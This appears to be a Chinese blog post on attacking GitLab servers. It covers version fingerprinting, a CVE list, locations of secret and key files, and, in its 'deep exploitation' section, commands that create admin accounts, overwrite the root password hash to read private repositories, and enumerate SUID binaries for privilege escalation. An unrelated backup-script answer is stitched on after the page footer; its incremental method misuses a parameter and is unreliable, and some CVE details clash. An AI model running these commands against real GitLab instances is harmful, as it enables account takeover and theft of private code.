Gitlab渗透的深入利用及知识点总结

一、版本探测

http://url/assets/webpack/manifest.json 
将该json与GitHub某个数据库比对
https://github.com/righel/gitlab-version-nse/blob/main/gitlab_hashes.json
获取对应的版本信息

二、常见漏洞

给一个大佬总结的很全的清单:
https://www.moonsec.com/7495.html
这里只列出2020年以后的CVE号和对应的影响版本:
CVE-2020-10977任意文件读取
8.5 <= GitLab GitLab CE/EE <=12.9

CVE-2021-2884远程命令执行
11.3.4 <= GitLab CE/EE < 15.1.5
15.2 <= GitLab CE/EE < 15.2.3
15.3 <= GitLab CE/EE < 15.3.1

CVE-2021-22205远程命令执行
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3

CVE-2021-22214Gitlab API未授权SSRF
10.5<=Gitlab CE/EE<13.10.5
13.11<=Gitlab CE/EE<13.11.5 
13.12<=Gitlab CE/EE<13.12.2

CVE-2022-2992 import api 远程命令执行
11.10 <= GitLab CE/EE < 15.1.6
15.2 <= GitLab CE/EE < 15.2.4
15.3 <= GitLab CE/EE < 15.3.2

CVE-2023-7028
16.1 <=GitLab CE<16.1.6
16.2 <=GitLab CE<16.2.8
16.3 <=GitLab CE<16.3.6
16.4 <=GitLab CE<16.4.4
16.5 <=GitLab CE<16.5.6
16.6 <=GitLab CE<16.6.4
16.7 <=GitLab CE<16.7.2
16.1 <=GitLab EE<16.1.6
16.2 <=GitLab EE<16.2.8
16.3 <=GitLab EE<16.3.6
16.4 <=GitLab EE<16.4.4
16.5 <=GitLab EE<16.5.6
16.6 <=GitLab EE<16.6.4
16.7 <=GitLab EE<16.7.2

三、gitlab需掌握的知识

1、gitlab架构

Nginx:HTTP/HTTPS 流量的共同入口,负责将不同类型的请求转发到其他子系统;
GitLab Pages:与 Github Pages 类似的静态网络服务;
GitLab Workhorse:GitLab 的二级反向代理。旧版本的 GitLab 使用 Unicorn,但由于 HTTP/HTTPS Git Clone 超时较短的问题,Unicorn 有时会克隆失败,因此开发团队借此机会用 Golang 编写了一个反向代理来取代 Unicorn。 GitLab Workhorse 在编写过程中逐渐发展起来,并更名为 GitLab Workhorse。因此,开发团队利用这个机会用 Golang 编写了一个反向代理来取代 Unicorn,并逐步开发和完善了它,将其更名为 GitLab Workhorse。Workhorse 现在用于分担 GitLab Rails 的后端压力,如上传和下载大文件;
GitLab Shell:用于处理 SSH 会话和更改授权密钥。
Gitaly:GitLab 的 Git RPC 服务。大多数 GitLab Git 相关操作都通过 Gitaly 执行;
Puma (GitLab Rails):GitLab 主程序基于 Rails 的 Ruby 后端,包含 GitLab 的核心网页处理逻辑;
Sidekiq(GitLab Rails):与 Ruby on Rails 集成的 Ruby 后端处理服务,可在多个线程中高效处理多个异步任务。在 GitLab 中,Sidekiq 从 Redis 读取后端任务队列,并按需调度执行;
PostgreSQL:GitLab 的主数据库,用于存储用户、项目和其他数据信息;
Redis:GitLab 核心组件的一部分,是一个键值对数据库,用于存储用户会话数据、临时缓存和提供给 Sidekiq 的后台任务队列。
2、gitlab常用文件
网站目录:/opt/gitlab/embedded/service/gitlab-rails/public/assets
密钥secret_key_base:/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml 
详细的版本号:/opt/gitlab/embedded/service/gitlab-rails/VERSION
ssh密钥路径:/var/opt/gitlab/.ssh/authorized_keys
gitlab配置文件:/etc/gitlab/gitlab.rb
gitlab仓库:/var/opt/gitlab/git-data/repositories
Gitlab项目:/var/opt/gitlab/git-data/repositories/root/
备份文件:/var/opt/gitlab/backup
nginx 配置文件:/var/opt/gitlab/nginx/conf/
Redies 配置文件:/var/opt/gitlab/redis/
Gitlab 各个服务的启动脚本:/opt/gitlab/init/

3、常用命令
登录控制台:gitlab-rails console
如果没有配置环境变量,可以:/bin/rails console
修改root密码:
u = User.where(username:"root").first
u.password="password"
u.save!
添加管理员账号(不登入控制台): gitlab-rails runner "user = User.create(   :username => 'admins',   :name => 'admins',   :password => 'Aa1234567',   :password_confirmation => 'Aa1234567',   :email => 'usjdjdi@gamil.com',   :admin => true); user.save!"
添加管理员账号(登入控制台):
gitlab-rails console
User.create( :username => 'admins',   :name => 'admins',   :password => 'Aa1234567',   :password_confirmation => 'Aa1234567',   :email => 'usjdjdi@gamil.com',   :admin => true);
user.save!
查找用户:
user = User.find_by(email: 'A@mail.com')     ##搜索email 为A@mail.com的用户信息
user = User.find_by(id: '5')    ##搜索id为5的用户信息
user = User.find_by(username: 'qiezi') ##搜索用户名为qiezi的用户信息
user.admin=true  ##更改为管理员
user.save!      ##保存
修改用户启用状态:
user.state = 'active/blocked'  
user.save!
删除用户:
u = User.find(id:"43")
u.admin = false
u.moderator = false
u.save!
关闭email验证:
admin = User.find_by_username "kings" 
admin.confirmed_at = Time.now
admin.save!

4、gitlab密码加密方式

想了解的看移步本人另一篇文章:

gitlab用户密码加密研究——bcrypt加密算法-CSDN博客


四、深入利用

通过常见漏洞RCE后获得的默认为git用户,利用方式有以下几种
1、免密登录
想了解的看移步本人另一篇文章
gitlab RCE后续利用——公私钥免密登录-CSDN博客

2、重置管理员账密
此操作的目的是为了登录gitlab页面,访问目标gitlab服务器的项目
获取了命令执行权限后,执行以下命令

gitlab-rails dbconsole  ##登录控制台
select * from users where id =1;   ##查询root的密码,便于后续恢复
update users set encrypted_password='$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa' where id =1;   ##将root的网页登录密码重置为12345678

而后即可登录页面获取所有公开及私有项目的代码

即使private的项目也可以访问和下载

最后不要忘记将root的密码恢复,恢复方法就是将前面执行命令第二步获取的root再次update即可。

3、提权
如果需要控制gitlab主机本身,需要提权至root用户
可以尝试以下办法
sudo提权,查看suid
    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
查找是否存在/user/bin/pkexec,判断是否进行CVE-2021-4034的漏洞提权
通过以下命令可查看 Polkit 是否为安全版本:
centos:rpm -qa polkit
CentOS系列(安全版本):
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:dpkg -l policykit-1
Ubuntu系列:(安全版本)
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
​Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
​Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
​Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1
 

  • 27
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,我可以为您提供一份 GitLab 自动备份脚本及增量备份的方案。 1. 自动备份脚本 首先,您需要创建一个脚本文件,例如 `gitlab_backup.sh`,并将其放置在 GitLab 服务器上。以下是一个简单的备份脚本示例: ```bash #!/bin/bash # 设置备份目录 BACKUP_DIR="/mnt/backups/gitlab" # 创建备份目录 mkdir -p $BACKUP_DIR # 执行备份命令 gitlab-rake gitlab:backup:create BACKUP=timestamp # 将备份文件移动到备份目录 mv /var/opt/gitlab/backups/* $BACKUP_DIR/ ``` 该脚本将会执行 GitLab 的备份命令,将备份文件移动到指定目录中。 2. 增量备份方案 要执行增量备份,您需要使用 GitLab 的 `gitlab-backup` 命令的 `SKIP` 参数。该参数将跳过已备份的数据,只备份最新的更改。 以下是一个示例脚本,可以在每天执行一次增量备份: ```bash #!/bin/bash # 设置备份目录 BACKUP_DIR="/mnt/backups/gitlab" # 创建备份目录 mkdir -p $BACKUP_DIR # 获取最近备份的时间戳 LAST_BACKUP=$(ls -Art $BACKUP_DIR | tail -n 1 | cut -d'_' -f2) # 执行备份命令 gitlab-rake gitlab:backup:create BACKUP=timestamp SKIP=$LAST_BACKUP # 将备份文件移动到备份目录 mv /var/opt/gitlab/backups/* $BACKUP_DIR/ ``` 该脚本将检查备份目录中最新的备份文件的时间戳,并将其传递给 `gitlab-backup` 命令的 `SKIP` 参数。这将导致 GitLab 仅备份自上次备份以来更改的数据。 希望这些信息能对您有所帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值